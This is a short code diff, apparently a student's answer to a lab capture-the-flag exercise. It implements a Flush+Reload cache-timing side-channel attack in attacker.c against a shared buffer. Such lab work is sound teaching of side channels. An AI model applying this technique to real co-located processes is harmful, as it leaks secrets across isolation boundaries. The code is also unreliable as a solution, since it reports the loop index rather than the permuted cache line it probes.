part2 ver 0.1

Part2-FlushReload/attacker.c

@@ -8,7 +8,8 @@
 
 #include "util.h"
 
-
+#define CACHE_HIT_THRESHOLD 200
+#define WAIT_TIME 100
 int main() {
     int flag = -1;
 
@@ -16,7 +17,17 @@ int main() {
     char *buf = allocate_shared_buffer();
 
     // [2.1] TODO: Put your capture-the-flag code here
-
+    for(int i = 0; i < 1024; i++) {
+        clflush((ADDR_PTR)buf + i * 128);
+    }
+    for(int i = 0; i < WAIT_TIME; i++);
+    for(int i = 0; i < 1024; i++) {
+        CYCLES time = measure_one_block_access_time((ADDR_PTR)buf + (i * 10020107) % 1024 * 128);
+        if(time < CACHE_HIT_THRESHOLD) {
+            flag = i;
+            break;
+        }
+    }
     printf("Flag: %d\n", flag);
 
     deallocate_shared_buffer(buf);